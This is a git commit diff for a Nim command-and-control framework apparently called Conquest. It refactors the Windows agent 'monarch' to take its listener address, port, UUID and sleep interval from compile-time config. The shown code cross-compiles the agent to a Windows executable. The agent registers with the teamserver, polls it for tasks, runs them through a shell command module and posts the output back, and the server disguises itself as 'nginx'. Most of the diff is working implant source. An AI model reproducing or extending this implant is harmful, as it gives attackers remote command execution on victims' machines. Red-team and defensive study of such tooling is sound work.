Agent utilizes configuration file (nim.cfg) and compile-time variables for listener information.

This commit is contained in:
Jakob Friedl
2025-05-24 13:56:26 +02:00
parent 5fe13fef94
commit ac0bb3c915
9 changed files with 47 additions and 19 deletions

3
.gitignore vendored
View File

@@ -2,8 +2,7 @@
# agents/ # agents/
*.db *.db
# Ignore binaries # Ignore binaries
*/bin/* bin/*
server/server
*.exe *.exe
# Nim # Nim

View File

@@ -1,3 +1,4 @@
#!/bin/bash #!/bin/bash
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" c $CONQUEST_ROOT/agents/monarch/client.nim

View File

@@ -4,6 +4,11 @@ import winim
import ./[types, http, task] import ./[types, http, task]
import commands/shell import commands/shell
const ListenerUuid {.strdefine.}: string = ""
const ListenerIp {.strdefine.}: string = ""
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
proc main() = proc main() =
#[ #[
@@ -14,10 +19,21 @@ proc main() =
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate 4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]# ]#
# TODO: Read data from configuration file # The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay):
echo "Missing agent configuration."
quit(0)
let listener = "HVVOGEOM" let config = AgentConfig(
let agent = register(listener) listener: ListenerUuid,
ip: ListenerIp,
port: ListenerPort,
sleep: SleepDelay
)
let agent = config.register()
echo fmt"[+] [{agent}] Agent registered." echo fmt"[+] [{agent}] Agent registered."
#[ #[
@@ -30,13 +46,13 @@ proc main() =
]# ]#
while true: while true:
sleep(10 * 1000) sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in." echo fmt"[{date}] Checking in."
# Retrieve task queue from the teamserver for the current agent # Retrieve task queue from the teamserver for the current agent
let tasks: seq[Task] = getTasks(listener, agent) let tasks: seq[Task] = config.getTasks(agent)
if tasks.len <= 0: if tasks.len <= 0:
echo "[*] No tasks to execute." echo "[*] No tasks to execute."
@@ -45,7 +61,7 @@ proc main() =
# Execute all retrieved tasks and return their output to the server # Execute all retrieved tasks and return their output to the server
for task in tasks: for task in tasks:
let result = task.handleTask() let result = task.handleTask()
discard postResults(listener, agent, result) discard config.postResults(agent, result)
when isMainModule: when isMainModule:
main() main()

View File

@@ -2,7 +2,7 @@ import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo] import ./[types, agentinfo]
proc register*(listener: string): string = proc register*(config: AgentConfig): string =
let client = newAsyncHttpClient() let client = newAsyncHttpClient()
@@ -24,20 +24,20 @@ proc register*(listener: string): string =
try: try:
# Register agent to the Conquest server # Register agent to the Conquest server
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body) return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
except CatchableError as err: except CatchableError as err:
echo "[-] [register]:", err.msg echo "[-] [register]:", err.msg
quit(0) quit(0)
finally: finally:
client.close() client.close()
proc getTasks*(listener: string, agent: string): seq[Task] = proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
let client = newAsyncHttpClient() let client = newAsyncHttpClient()
try: try:
# Register agent to the Conquest server # Register agent to the Conquest server
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks") let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return parseJson(responseBody).to(seq[Task]) return parseJson(responseBody).to(seq[Task])
except CatchableError as err: except CatchableError as err:
@@ -48,7 +48,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
return @[] return @[]
proc postResults*(listener, agent: string, task: Task): bool = proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
let client = newAsyncHttpClient() let client = newAsyncHttpClient()
@@ -61,7 +61,7 @@ proc postResults*(listener, agent: string, task: Task): bool =
try: try:
# Register agent to the Conquest server # Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson) discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
except CatchableError as err: except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time # When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: ", err.msg echo "[-] [postResults]: ", err.msg

5
agents/monarch/nim.cfg Normal file
View File

@@ -0,0 +1,5 @@
# Agent configuration
-d:ListenerUuid="HVVOGEOM"
-d:ListenerIp="localhost"
-d:ListenerPort=5555
-d:SleepDelay=10

View File

@@ -46,3 +46,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
wProductType*: UCHAR wProductType*: UCHAR
wReserved*: UCHAR wReserved*: UCHAR
type
AgentConfig* = object
listener*: string
ip*: string
port*: int
sleep*: int

View File

@@ -1,4 +1,4 @@
# Compiler flags # Compiler flags
--threads:on --threads:on
-d:httpxServerName="nginx" -d:httpxServerName="nginx"
#--outdir:"../bin" --outdir:"../bin"

View File

@@ -125,7 +125,8 @@ proc main() =
setControlCHook(exit) setControlCHook(exit)
# Initialize framework # Initialize framework
cq = initConquest() let dbPath: string = "../server/db/conquest.db"
cq = initConquest(dbPath)
# Print header # Print header
cq.header() cq.header()

View File

@@ -135,11 +135,11 @@ proc delListener*(cq: Conquest, listenerName: string) =
proc delAgent*(cq: Conquest, agentName: string) = proc delAgent*(cq: Conquest, agentName: string) =
cq.agents.del(agentName) cq.agents.del(agentName)
proc initConquest*(): Conquest = proc initConquest*(dbPath: string): Conquest =
var cq = new Conquest var cq = new Conquest
var prompt = Prompt.init() var prompt = Prompt.init()
cq.prompt = prompt cq.prompt = prompt
cq.dbPath = "db/conquest.db" cq.dbPath = dbPath
cq.listeners = initTable[string, Listener]() cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]() cq.agents = initTable[string, Agent]()
cq.interactAgent = nil cq.interactAgent = nil